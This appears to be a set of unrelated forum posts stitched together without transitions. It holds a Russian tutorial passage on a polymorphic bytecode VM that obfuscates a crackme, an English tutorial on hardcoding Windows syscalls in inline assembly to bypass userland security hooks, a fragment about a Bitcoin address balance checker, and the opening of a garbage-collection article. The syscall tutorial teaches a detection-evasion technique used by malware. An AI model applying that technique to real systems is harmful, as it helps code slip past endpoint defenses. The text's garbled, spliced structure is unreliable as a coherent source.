В том случае, если компилятор посещает узлы, содержащие константы, такие как строки или целые числа, он должен сгенерировать соответствующие опкоды для того, чтобы положить на стек текущую константу. В каждом из указанных выше методов мы сначала проверяем, что находимся в том узле, в котором ожидаем, затем генерируем мусорный код (если trash_generate выставлена в true), а затем просто генерируем нужный опкод (один из опкодов PUSH). Факт генерации мусорного кода и где он находится в какой функции в дальнейшем я буду опускать, я думаю, что это вещь не нуждается в отдельных пояснениях каждый раз, как и факт проверки валидности узла.
Code:Copy to clipboard
proc compile_call(compiler: var Compiler, node: NimNode) =
node.expectKind(nnkCall)
node[0].expectKind(nnkSym)
compiler.trash_generate()
case $node[0]
of "readLine":
discard compiler.emit.emit_input()
of "echo":
compiler.compile_children(node, [0])
discard compiler.emit.emit_echo()
of "len":
compiler.compile_children(node, [0])
discard compiler.emit.emit_slen()
of "ord":
compiler.compile_children(node, [0])
discard compiler.emit.emit_ord()
else:
echo(&"Unknown call {$node[0]}")
proc compile_conv(compiler: var Compiler, node: NimNode) =
node.expectKind(nnkConv)
compiler.compile_children(node, [0])
Если компилятор посещает узлы nnkCall (вызовы функций), то мы проверяем есть ли у него идентификатор (имя) функции, которую он должен вызвать. В зависимости от идентификатора мы генерируем соответствующий байт-код. Вообще, в этой статье для упрощения всего я опустил описание стек фреймов и вызовов внешних или внутренних функций, поэтому компилятор умеет генерировать только вызовы четырех функций, каждая из которых в рантайме ВМ будет реализована одним опкодом. Да и сама ВМ замкнута внутри одной функции. Вызовы нативных функций из ВМ – сложная тема, которую без ассемблерных вставок скорее всего нормально не решить, а про вызовы функций ВМ функциями ВМ можно дополнительно почитать во многих источниках (могу кинуть ссылку на хорошую книгу, если желаете). Узел nnkConv (конвертация одного типа данных в другой) нам для текущей реализации не нужен, но при его посещении нам нужно исключить первого потомка, поскольку он является типом nnkSym, обрабатывать который нам не нужно в контексте такого родителя, как nnkConv.
Code:Copy to clipboard
proc compile_asgn(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkAsgn)
node[0].expect_kind(nnkSym)
compiler.compile_children(node, [0])
if compiler.locals.contains($node[0]):
let index = compiler.locals[$node[0]]
discard compiler.emit.emit_store(index)
else: echo(&"Unknown symbol {$node}")
proc compile_sym(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkSym)
if compiler.locals.contains($node):
let index = compiler.locals[$node]
discard compiler.emit.emit_load(index)
else: echo(&"Unknown symbol {$node}")
Если компилятор приходит в узел nnkAssn (присваивание значения переменной), то мы находим в таблице локальных переменных ту, что имеет имя, указанное в узле идентификатором, и генерируем опкод STORE, который возьмет значение с верхушки стека и положит его в таблицу переменных. Наступая на узел nnkSym мы предполагаем, что это получение значение переменной (поэтому мы ранее забанили в этом плане первого потомка nnkConv) и генерируем опкод LOAD, который положит значение переменной на стек ВМ.
Code:Copy to clipboard
proc compile_infix(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkInfix)
node[0].expect_kind(nnkSym)
compiler.compile_children(node, [0])
compiler.trash_generate()
case $node[0]
of "and": discard compiler.emit.emit_and()
of "==": discard compiler.emit.emit_eq()
of "<": discard compiler.emit.emit_lt()
of "+": discard compiler.emit.emit_add()
of "*": discard compiler.emit.emit_mul()
else: echo(&"Unknown infix {$node[0]}")
proc compile_identdefs(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkIdentDefs)
node[0].expect_kind(nnkSym)
let name = $node[0]
let count = compiler.locals.len
compiler.locals[name] = count
compiler.compile_children(node, [0])
compiler.trash_generate()
discard compiler.emit.emit_store(count)
Узел nnkInfix – бинарное выражение с оператором, генерируется аналогичным с nnkCall образом, то есть все операторы, которые нам нужны для данной крекмиши реализуются отдельными опкодами. Узел nnkIdentDefs отвечает за объявление новых переменных, мы предполагаем, что у каждой из переменных будет указано начальное значение, поэтому генерируем байт-код для потомков, регистрируем переменную в таблице и генерируем опкод STORE, который положит значение в переменную.
Code:Copy to clipboard
proc compile_whilestmt(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkWhileStmt)
let loop_start = compiler.emit.position.uint32
compiler.compile_generic(node[0])
let jmp_out = compiler.emit.emit_jmpf()
compiler.compile_generic(node[1])
let jmp_loop = compiler.emit.emit_jmp()
let loop_end = compiler.emit.position.uint32
discard compiler.emit.bind_fixup(jmp_out, loop_end)
discard compiler.emit.bind_fixup(jmp_loop, loop_start)
Мы подошли к более сложным в плане генерации узлам. nnkWhile – это цикл while в исходном коде. Для начала нам нужно сохранить метку старта цикла. Затем скомпилировать байт-код для сравнения в условии цикла (первого потомка). После байт-кода сравнения нам нужно вставить байт-код JMPF (сделать условный переход, если на вершине стека лежит false). Дальше мы генерируем байт-код тела цикла и за ним добавляем опкод JMP (безусловный переход в начало цикла), при этом сохраняя метку конца цикла. После того, как мы сгенерировали код мы можем поправить адреса (на самом деле смещения от начала байт-кода) в опкодах JMP и JMPF с помощью функции bind_fixup.
Code:Copy to clipboard
proc compile_ifstmt(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkIfStmt)
node[0].expect_kind(nnkElifBranch)
node[1].expect_kind(nnkElse)
node[0][1].expectKind(nnkStmtList)
node[1][0].expectKind(nnkStmtList)
compiler.compile_generic(node[0][0])
let jmp1 = compiler.emit.emit_jmpf()
compiler.compile_generic(node[0][1])
let jmp2 = compiler.emit.emit_jmp()
let ofs1 = compiler.emit.position.uint32
discard compiler.emit.bind_fixup(jmp1, ofs1)
compiler.compile_generic(node[1][0])
let ofs2 = compiler.emit.position.uint32
discard compiler.emit.bind_fixup(jmp2, ofs2)
Узел nnkIfStmt генерируется аналогично. Мы генерируем код для потомков, вставляя в него JMP и JMPF опкоды для условных переходов. В тот момент, когда нам становятся известны адреса (смещения блет) для всех JMP и JMPF, мы просто исправляем их в уже сгенерированном байт-коде, используя все ту же функцию bind_fixup.
Code:Copy to clipboard
proc compile_generic(compiler: var Compiler, node: NimNode) =
case node.kind
of nnkIdentDefs: compiler.compile_identdefs(node)
of nnkWhileStmt: compiler.compile_whilestmt(node)
of nnkUint32Lit: compiler.compile_uint32lit(node)
of nnkUintLit: compiler.compile_uintlit(node)
of nnkIfStmt: compiler.compile_ifstmt(node)
of nnkStrLit: compiler.compile_strlit(node)
of nnkIntLit: compiler.compile_intlit(node)
of nnkInfix: compiler.compile_infix(node)
of nnkCall: compiler.compile_call(node)
of nnkConv: compiler.compile_conv(node)
of nnkAsgn: compiler.compile_asgn(node)
of nnkSym: compiler.compile_sym(node)
else: compiler.compile_children(node)
proc get_bytecode(compiler: var Compiler): seq[uint8] =
compiler.compile_validate_jmpf()
compiler.compile_generic(compiler.root)
compiler.trash_generate()
compiler.trash_generate()
compiler.trash_generate()
discard compiler.emit.emit_halt()
compiler.trash_generate()
compiler.trash_generate()
compiler.trash_generate()
return compiler.emit.code
Теперь, когда у нас есть все функции для генерации всех важных узлов дерева, которые есть в нашей крекмише, мы можем написать функцию compile_generic. Она представляет собой просто один большой свитч, который вызывает методы в зависимости от типа текущего узла. Если тип текущего узла нам не важен, то функция просто рекурсивно посетит всех его потомков. Метод get_bytecode компилирует все узлы, начиная с корня дерева и возвращает байт-код в виде массива байт. Пока не обращайте внимание на метод compile_validate_jmpf, что это такое я расскажу в заключении.
Code:Copy to clipboard
macro virtualize*(node: typed): untyped =
echo("\n*** *** ***")
echo(tree_repr(node))
var cmp = new_compiler(node.last)
let cod = cmp.get_bytecode()
echo("\n*** *** ***")
echo(cmp.locals)
echo("\n*** *** ***")
echo(disassemble(cod))
echo("\n*** *** ***")
echo(cod.to_hex())
var bytes = new_seq[string](cod.len)
for i in 0 ..< bytes.len:
bytes[i] = &"{cod[i]}'u8"
let name = $node[0]
let joined = bytes.join(", ")
let sources = &"""
proc {name}() =
let opcodes = @[{joined}]
var frame = new_frame(opcodes)
frame.execute()
"""
let newnode = parse_stmt(sources)
return newnode[0]
А вот и тот самый макрос virtualize, про который мы говорили в самом начале. Важно заметить, что он должен принимать типизированное AST-дерево (typed) и возвращает нетипизированное. Дело в том, что все макросы и функции времени компиляции языка Nim исполняются и раскрываются на так называемом semPass этапе, на котором в том числе и происходит типизация и семантическая проверка кода. Для нашей крекмиши необходимо, чтобы cp_hash_string был раскрыт до того, как он попадет компилятору, поэтому в макрос нам нужно получать именно типизированное дерево. Макрос создает новый компилятор байт-кода, передает ему корень AST-дерева и получает от компилятора байт-код в виде массива байт. Затем для отладки он выводит список локальных переменных, дизасм байт-кода и хекс строку с байт-кодом. После чего он генерирует исходники для функции, которая создаст и запустит нашу ВМ, передав туда массив байт-кода. Саму виртуальную машину (и функцию execute) мы напишем чуть позже, а пока давайте посмотрим, как это все работает на практике.
Code:Copy to clipboard
0345 LOAD index:1
0349 PUSHI 1881464870 (0x7024E026)
0359 EQ
0361 JMPF 0448
0371 PUSHS "Password is valid, bro!"
0401 ECHO
0403 PUSHS "You are real cracker, bro!"
0436 ECHO
0438 JMP 0518
0448 PUSHS "Password is invalid, bro!"
0480 ECHO
0482 PUSHS "Better luck next time, bro!"
0516 ECHO
0518 HALT
Так, например, будет выглядеть наша конструкция if-else из крекмиши без мусорного кода. Инструкция LOAD загружает переменную xhash на стек (переменную с индексом 1). Инструкция PUSHI загружает на стек эталонное значение хеша, с которым нам нужно произвести сравнение. Инструкция EQ забирает со стека два значения, сравнивает их и кладет на стек true, если значения совпали, ну и false в противном случае. Инструкция JMPF переходит по адресу 0448, если на стеке лежит false. Инструкции PUSHS и ECHO просто выводят строку на экран. Ну а инструкция JMP перепрыгивает ветку else при исполнении ветки if. Для тех, кто впервые видит такой своего рода низкоуровневый код, может быть непонятно, так что не стесняйтесь задавать вопросы в комментариях. Завсегдатаям же всяких ассемблеров, тут и объяснять особо нечего.
8. Создаем виртуальную машину
Единственной задачей виртуальной машины является корректно исполнить байт-код и не накосячить при этом. Единицу исполнения ВМ, инкапсулирующую стек, локальные переменные и байт-код внутри себя, обычно называют фрейм. Наш фрейм будет единственным и предельно простым, в реальных ВМ существуют целые стеки или же цепочки фреймов, где каждый новый фрейм добавляется в цепочку, когда ВМ вызывает одну функцию с байт-кодом из другой. Но не будем усложнять, и так много иногда сложной для понимания информации в статье.
Code:Copy to clipboard
mport std/macros
import std/random
import reader
import types
const debug_runtime = false
when debug_runtime:
import disasm
type Frame = object
reader: Reader
locals: seq[Object]
stack: seq[Object]
proc new_frame*(code: seq[uint8]): Frame =
result = Frame()
result.reader = new_reader(code)
result.locals = new_seq[Object]()
result.stack = new_seq[Object]()
Константа debug_runtime определяет нужно ли нам отлаживать то, как ВМ исполняет байт-код или нет. В случае отладки нам понадобится импортировать и использовать дизассемблер, который мы написали ранее. Наш фрейм – это структура с ридером (что почти одно и тоже, что и «с байт-кодом»), массивом значений локальных переменных и стеком. Конструктор фрейма просто создает вложенные структуры.
Code:Copy to clipboard
proc push(stack: var seq[Object], value: Object) =
stack.add(value)
proc pop(stack: var seq[Object]): Object =
result = stack[stack.len - 1]
stack.del(stack.len - 1)
proc store(locals: var seq[Object], index: uint8, value: Object) =
let idx = index.int
if idx >= locals.len:
locals.set_len(idx + 1)
locals[idx] = value
proc load(locals: var seq[Object], index: uint8): Object =
return locals[index.int]
Названия функций push/pop и store/load говорят сами за себя. Функция push кладет значение на стек, pop – получает значение с верхушки стека, store – сохраняет значение локальной переменной, load – получает значение переменной. Давайте теперь рассмотрим функции для исполнения каждого опкода нашей виртуальной машины.
Code:Copy to clipboard
proc execute_nop(frame: var Frame) =
discard
proc execute_pushi(frame: var Frame) =
let arg = frame.reader.read_arg_uint32()
frame.stack.push(new_integer_obj(arg))
proc execute_pushs(frame: var Frame) =
let arg = frame.reader.read_arg_string()
frame.stack.push(new_string_obj(arg))
proc execute_pop(frame: var Frame) =
discard frame.stack.pop()
proc execute_store(frame: var Frame) =
let val = frame.stack.pop()
let idx = frame.reader.read_arg_uint8()
frame.locals.store(idx, val)
proc execute_load(frame: var Frame) =
let idx = frame.reader.read_arg_uint8()
let val = frame.locals.load(idx)
frame.stack.push(val)
proc execute_add(frame: var Frame) =
let o2 = frame.stack.pop()
let o1 = frame.stack.pop()
let vl = o1.get_integer() + o2.get_integer()
frame.stack.push(new_integer_obj(vl))
proc execute_mul(frame: var Frame) =
let o2 = frame.stack.pop()
let o1 = frame.stack.pop()
let vl = o1.get_integer() * o2.get_integer()
frame.stack.push(new_integer_obj(vl))
proc execute_and(frame: var Frame) =
let o2 = frame.stack.pop()
let o1 = frame.stack.pop()
let vl = o1.get_integer() and o2.get_integer()
frame.stack.push(new_integer_obj(vl))
proc execute_eq(frame: var Frame) =
let o2 = frame.stack.pop()
let o1 = frame.stack.pop()
let vl = o1.get_integer() == o2.get_integer()
frame.stack.push(new_boolean_obj(vl))
proc execute_lt(frame: var Frame) =
let o2 = frame.stack.pop()
let o1 = frame.stack.pop()
let vl = o1.get_integer() < o2.get_integer()
frame.stack.push(new_boolean_obj(vl))
proc execute_slen(frame: var Frame) =
let str = frame.stack.pop()
let val = str.get_string().len.uint32
frame.stack.push(new_integer_obj(val))
proc execute_ord(frame: var Frame) =
let idx = frame.stack.pop().get_integer()
let str = frame.stack.pop().get_string()
let res = new_integer_obj(str[idx].uint32)
frame.stack.push(res)
proc execute_jmpf(frame: var Frame) =
let arg = frame.reader.read_arg_uint32()
let val = frame.stack.pop().get_boolean()
if val == ct_false:
frame.reader.position = arg.int
proc execute_jmp(frame: var Frame) =
let arg = frame.reader.read_arg_uint32()
frame.reader.position = arg.int
proc execute_echo(frame: var Frame) =
let msg = frame.stack.pop()
echo(msg.get_string())
proc execute_input(frame: var Frame) =
let msg = read_line(stdin)
let obj = new_string_obj(msg)
frame.stack.push(obj)
proc execute_halt(frame: var Frame) =
frame.reader.set_end()
Опкод NOP не делает ничего, этим он немного похож на всех тех критиков, которые любят устраивать срачи в комментах статей, но сами статьи не пишут. Но мы его (опкод) любим таким, какой он есть. Опкод PUSHI кладет на стек константу целочисленного типа. Опкод PUSHS кладет на стек строковую константу. Опкод POP удаляет значение с вершины стека, покойся с миром, значение. Опкод STORE берет с вершины стека одно значение и присваивает его указанной в аргументах опкода переменной. Опкод LOAD делает обратную операцию, кладет на стек значение переменной. Опкод ADD берет со стека два значения, складывает их и результат сложения кладет обратно на стек. Тоже самое делают опкоды MUL и AND, но для умножения и побитового «И» соответственно. Опкод EQ берет два значения с вершины стека, сравнивает их и кладет на стек либо true, либо false в зависимости от результатов сравнения. Опкод LT делает тоже самое, но для сравнения «less than» (меньше чем). Опкод SLEN забирает с вершины стека строку и кладет на стек ее длину. Опкод ORD забирает с вершины стека индекс и строку и кладет на стек целочисленное значение символа из строки по указанному индексу. Опкоды JMP и JMPF производят безусловные и условные переходы соответственно. Опкод ECHO берет с вершины стека строку и выводит ее в консоль. Опкод INPUT считывает пользовательский ввод в консоль в виде строки и кладет ее на вершину стека. Опкод HALT завершает работу ВМ.
Code:Copy to clipboard
macro generate_execute_table(): untyped =
let handlers = [
"execute_nop",
"execute_pushi",
"execute_pushs",
"execute_pop",
"execute_store",
"execute_load",
"execute_add",
"execute_mul",
"execute_and",
"execute_eq",
"execute_lt",
"execute_slen",
"execute_ord",
"execute_jmpf",
"execute_jmp",
"execute_echo",
"execute_input"
]
result = nnkStmtList.new_tree()
for i in 0 ..< 255:
let handler = case i
of Opcode.Nop.int: "execute_nop"
of Opcode.PushI.int: "execute_pushi"
of Opcode.PushS.int: "execute_pushs"
of Opcode.Pop.int: "execute_pop"
of Opcode.Store.int: "execute_store"
of Opcode.Load.int: "execute_load"
of Opcode.Add.int: "execute_add"
of Opcode.Mul.int: "execute_mul"
of Opcode.And.int: "execute_and"
of Opcode.Eq.int: "execute_eq"
of Opcode.Lt.int: "execute_lt"
of Opcode.Slen.int: "execute_slen"
of Opcode.Ord.int: "execute_ord"
of Opcode.JmpF.int: "execute_jmpf"
of Opcode.Jmp.int: "execute_jmp"
of Opcode.Echo.int: "execute_echo"
of Opcode.Input.int: "execute_input"
of Opcode.Halt.int: "execute_halt"
else: ct_rand.sample(handlers)
result.add(nnkAsgn.new_tree(
nnkBracketExpr.new_tree(
ident("execute_table"),
new_lit(i)
),
ident(handler)
))
type Handler = proc (frame: var Frame)
var execute_table = new_seq[Handler](256)
generate_execute_table()
proc execute*(frame: var Frame) =
while not frame.reader.at_end():
when debug_runtime:
echo(disassemble_restore(frame.reader))
let opc = frame.reader.read_opcode()
execute_table[opc.int](frame)
Бывают разные реализации ВМ, классической реализацией можно считать функцию с огромным свитчом, которая в зависимости от опкода вызывает соответствующую функцию обработчик (одну из тех, что были описаны выше). Мы же с вами сделаем jump table с функциями обработчиками. Один опкод нашей ВМ (хоть и имеет псевдослучаное значение) умещается в один байт, то есть от 0 до 255 включительно. Поэтому мы можем создать массив указателей на функции обработчики, а опкод будет индексом в этом массиве. Конечно, нам же хочется полиморфную ВМ, поэтому массив этих обработчиков мы будем формировать псевдослучайно с помощью макроса generate_execute_table. Макрос проходит все индексы от 0 до 255 включительно, если индекс соответствует действующему опкоду (вы же помните, что значения опкодов у нас тоже псевдослучайные), он пихает туда указатель на соответствующий опкоду обработчик, если же индекс не соответствует опкоду (опкодов у нас явно меньше, чем 256), то он пихает туда указатель на псевдослучайный обработчик. Таблица обработчиков формируется в таблицу execute_table в рантайме. Метод execute в цикле считывает опкоды до конца байт-кода, для каждого из них вызывая соответствующий обработчик из таблицы. В режиме отладки мы также выводим, какая инструкция исполнялась в след за какой с помощью дизассемблера.
9. Заключение
В заключении хочу вам немного рассказать о судьбе этой крекмиши. Изначально я предполагал, что господам реверсерам придется разбираться в байт-коде и патчить опкод JMPF в проверке валидности пароля на NOP. Я даже построил компилятор таким образом, чтобы это было удобно сделать, и добавил опкод NOP, без которого ВМ вполне могла бы обойтись. Однако выяснилось, что жуликоватые реверсеры могут просто пропатчить обработчик опкода JMPF таким образом, чтобы он не делал условный переход. Из-за структуры самой машины и крекмиши это вполне себе работало и даже не рушило стек. Во второй версии я добавил такую приколюху, о которой обещал вам рассказать:
Code:Copy to clipboard
proc compile_validate_jmpf(compiler: var Compiler) =
let val1 = ct_rand_uint32()
var val2 = ct_rand_uint32()
while val2 == val1:
val2 = ct_rand_uint32()
compiler.trash_generate()
discard compiler.emit.emit_pushi(val1)
compiler.trash_generate()
discard compiler.emit.emit_pushi(val2)
compiler.trash_generate()
discard compiler.emit.emit_eq()
compiler.trash_generate()
let jmp = compiler.emit.emit_jmpf()
let msg1 = "Please don't patch my opcode handlers, bro!"
let msg2 = "This is so rude of you, please don't, bro!"
compiler.trash_generate()
discard compiler.emit.emit_pushs(msg1)
compiler.trash_generate()
discard compiler.emit.emit_echo()
compiler.trash_generate()
discard compiler.emit.emit_pushs(msg2)
compiler.trash_generate()
discard compiler.emit.emit_echo()
compiler.trash_generate()
discard compiler.emit.emit_halt()
compiler.trash_generate()
let jump_out = compiler.emit.emit_jmp()
discard compiler.emit.bind_fixup(jump_out, 9999)
let ofs = compiler.emit.position.uint32
discard compiler.emit.bind_fixup(jmp, ofs)
Этот метод генерирует байт-код проверяющий семантику (смысл, поведение) опкода JMPF. Если обработчик этого опкода был пропатчен, то байт-код выводит сообщение реверсеру о том, чтобы тот не патчил обработчики, и останавливает ВМ. Конечно, это можно было бы решить, запатчив обработчик с использованием счетчика (типа первый раз он корректный, последующие разы он пропатченный), но в итоге господа реверсеры решали крекмишу так, как я изначально задумал, а именно патчами байт-кода.
Друзья, спасибо, что дочитали эту мою статью до конца. Она получилось довольно сложная и большая, как минимум я писал ее сложно и долго, но надеюсь, что вам было интересно и нескучно ее читать. Очень давно хотел донести до вас эту интересную тему и очень хотел вас заинтересовать ей. Мы с вами сделали небольшую и достаточно высокоуровневую ВМ, которая больше напоминает всякие Петоны и Луа, чем на ВМПротекты и Темиды, но концептуально эти вещи похожи. Простите, если для вас таких низкоуровневых эстетов, данная тема кажется слишком высокоуровневой. Сама тема очень обширная и мне пришлось многие моменты функционирования реальных ВМ опустить или сильно упростить. Созданная ВМ, по сути, может нормально исполнять только одну захардкоженную крекмишу, отсутствует хоть какая-нибудь оптимизация байт-кода, многие вещи мы переиспользовали, а не писали с нуля (лексер и парсер, сборщик мусора из языка Nim, например), но статья уже получилась на 30к символов. Остальные аспекты, которых я не коснулся мы можем пообсуждать в комментариях к статье, и надеюсь, что даже новичкам теперь эта тема не кажется такой уж сложной. Статья написана специальной для вас - моего любимого уютненького комьюнити xss.is.
Reversing Ntdll.dll and Hardcoding Syscalls directly from c++.
In this tutorial I will show you how to reverse Ntdll.dll functions and find the System call then hardcoded it and use it in your c++ project to bypass Userland hooks.
1 – reverse NtCreateFile and NtWriteFile functions and find the system call.
2 – Create function prototype
3 – Hardcode the function system call.
4 – Use the function in main and All done.
So lets start ,
first open your IDA and drag and drop the Ntdll.dll from
c:\windows\syswow64\ntdll.dll
then make sure you import idb file .
the next step go to Exports tap and search for Ntcreatefile function .
Now we see :
Code:Copy to clipboard
mov eax, 55h ; 'U' ; NtCreateFile
mov edx, offset _Wow64SystemServiceCall@0 ; Wow64SystemServiceCall()
call edx ; Wow64SystemServiceCall() ; Wow64SystemServiceCall()
retn 2Ch; ','
move eax,55h 55 is the system call number for NtCreateFile function ,
and becouse we are in 64bit system and our application is 86bit so we need to
switch to wow64bit ,
so we need to make some changes to this asm code , what we ganna do is make
switch to syswow64 manualy using call dword ptr fs :[0xC0]
so the code will be like this :
Code:Copy to clipboard
mov eax,55h
call dword ptr fs:[0xC0] ; wow64cpu.dll!X86SwitchTo64BitMode
retn 2Ch
now we have our asm code for NtcreateFile , now do the same for NtwriteFile function.
Ok we are done save the asm code to text file any were in your disk and close
IDA.
Go to visual studio create new c++ empty project and follow me .
What we need now is define the typedef of our functions and ofcurse we need to
define others structs and STRING , UNICODE , functions like
RtlAnsiStringToUnicodeString to convert the char to string then string to
unicode with less code and liss missing.
and becouse we are using Nt functions and we are hardcoding every thing we
need to pay attention to the file path we want to write to it.
if we use Winapi and need to create file using CreateFileA Or CreateFileW the
path will be like this . c:\users\mose3c\Desktop\my.jpg
and the winapi function will make every thing for you like converting the path
to Nt Path . you can see this closely if you open ApiMonotring and trace the
CreateFile function you will know what this function do for you and how much
make your life easy.
now our Nt path will be like this :
\??\\c:\\users\\mose3c\\Desktop\\my.jpg
other wise will not work.
ok lets define our functions prototype and others .
Code:Copy to clipboard
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING;
typedef STRING * PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef NTSTATUS(NTAPI* _RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation);
typedef void (NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef DWORD(NTAPI* _RtlAnsiStringToUnicodeString)(PUNICODE_STRING, PANSI_STRING, BOOL);
typedef VOID(NTAPI* _RtlInitString)(PSTRING DestinationString, char* SourceString);
_RtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString = (_RtlAnsiStringToUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlAnsiStringToUnicodeString");
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
_RtlInitString RtlInitString = (_RtlInitString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitString");
typedef VOID(NTAPI* PIO_APC_ROUTINE)(_In_ PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved);
/******* functions *******/
typedef NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize OPTIONAL, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer OPTIONAL, ULONG EaLength);
typedef NTSTATUS(NTAPI* _NtWriteFile)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);
typedef NTSTATUS(NTAPI* _NtResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* _NtClose)(HANDLE Handle);
_NtCreateFile NtCreateFile;
_NtWriteFile NtWriteFile;
_NtResumeThread NtResumeThread;
_NtClose NtClose;
now lets write our inline asm code .
Code:Copy to clipboard
_declspec(naked) NTSTATUS _stdcall WIN10_64_NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize OPTIONAL, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer OPTIONAL, ULONG EaLength)
{
_asm
{
mov eax, 55h
call dword ptr fs : [0xC0]
retn 2Ch
}
}
_declspec(naked) NTSTATUS _stdcall WIN10_64_NtWriteFile(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key)
{
_asm
{
mov eax, 1A0008h
call dword ptr fs : [0xC0]
retn 24h
}
}
ok done.whats next , lets go to to our main function.
and pass the address of WIN10_64_NtCreateFile = to NtCreateFile and
WIN10_64_NtWriteFile to NtWriteFile
like this
Code:Copy to clipboard
NtCreateFile = &WIN10_64_NtCreateFile
NtWriteFile = &WIN10_64_NtWriteFile
ok . and now we will define attributes and others args but its not our tutorial will skip it and if you need any help just replay and i will try to help you .
Code:Copy to clipboard
NTSTATUS status;
UNICODE_STRING Ustring;
ANSI_STRING as;
HANDLE hFile;
IO_STATUS_BLOCK risb;
OBJECT_ATTRIBUTES robj;
char szDir[MAX_PATH];
strcpy(szDir, "\\??\\c:\users\mose3c\Desktop\my.txt");
as.Buffer = (char*)malloc(strlen(szDir) + 1);
strcpy(as.Buffer, szDir);
as.Length = as.MaximumLength = Ustring.MaximumLength = Ustring.Length = strlen(szDir);
// convert directory name from ANSI to UNICODE
_RtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString = (_RtlAnsiStringToUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlAnsiStringToUnicodeString");
RtlAnsiStringToUnicodeString(&Ustring, &as, TRUE);
RtlFillMemory(&obj, sizeof(OBJECT_ATTRIBUTES), 0);
robj.Length = sizeof(obj);
robj.Attributes = OBJ_CASE_INSENSITIVE;
robj.RootDirectory = NULL;
robj.SecurityDescriptor = NULL;
robj.SecurityQualityOfService = NULL;
robj.ObjectName = &Ustring;
status = NtCreateFile(&hFile, FILE_GENERIC_READ | FILE_GENERIC_WRITE | SYNCHRONIZE, &obj, &risb, 0, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(status))
return 1 ;
IO_STATUS_BLOCK WFISB;
status = NtWriteFile(hFile, NULL, NULL, NULL, &WFISB, /*your Buffer here*/, BufLen, 0, NULL);
if (!NT_SUCCESS(status))
return 1;
now Its bingo we have done build the project and test it if you need to run it
in windows 7 you need to reverse the ntdll.dll for windows 7
becouse its wow64 you can't find alot of content and you have to done it by
your self
i realy want to make more tutorials what do you like the next tutorial to be
about .?
its up to you let me know in replay pleas .
Для работы нужен framework не ниже 4.5.2
Работает с адресами 1... и 3..., bc1
На выходе будет 2 файла или 1, если баланс больше 0 то в файл с балансами,
если баланса нет, но были поступления то файл Addresses_recieved
Когда читаешь дискуссии между сторонниками и противниками автоматического
управления памятью, может сложиться впечатление, будто это какая‑то единая
технология, одинаково реализованная во всех языках программирования. В этой
статье мы поговорим о сборке мусора — наиболее распространенном механизме
управления памятью.
Споры на эту тему вообще нередко звучат как «чистый С против остальных
языков». В действительности автоматическое управление памятью в С вполне
возможно и применяется на практике, да и «остальные языки» и разные их
реализации сильно отличаются друг от друга.
Для начала вспомним, от чего нас спасает автоматическое управление памятью.
Первая и самая известная, но при этом не самая опасная — утечка памяти (memory leak). Утечка происходит, если запросить у ядра ОС память и забыть ее вернуть. В терминах языка С — вызвать malloc() и забыть free(). Программа с этой проблемой будет занимать все больше и больше памяти, пока ее не остановит пользователь или сама ОС. Поведение программы при этом остается корректным, и проблем с безопасностью утечки не вызывают.
Вторая проблема — висячие указатели (dangling pointers). Суть проблемы в том, что в программе остается указатель на участок памяти, который уже был освобожден. Для повторного обращения к такой памяти есть отдельный термин — use after free. Такие ошибки гораздо опаснее, и последствия могут быть самыми разными: от сложных в отладке глюков до возможности выполнить произвольный код — база CVE [не даст соврать](https://cve.mitre.org/cgi- bin/cvekey.cgi?keyword=use+after+free).
Более редкий вариант проблемы с висячим указателем — повторное освобождение (double free), которое уничтожает полезные данные.
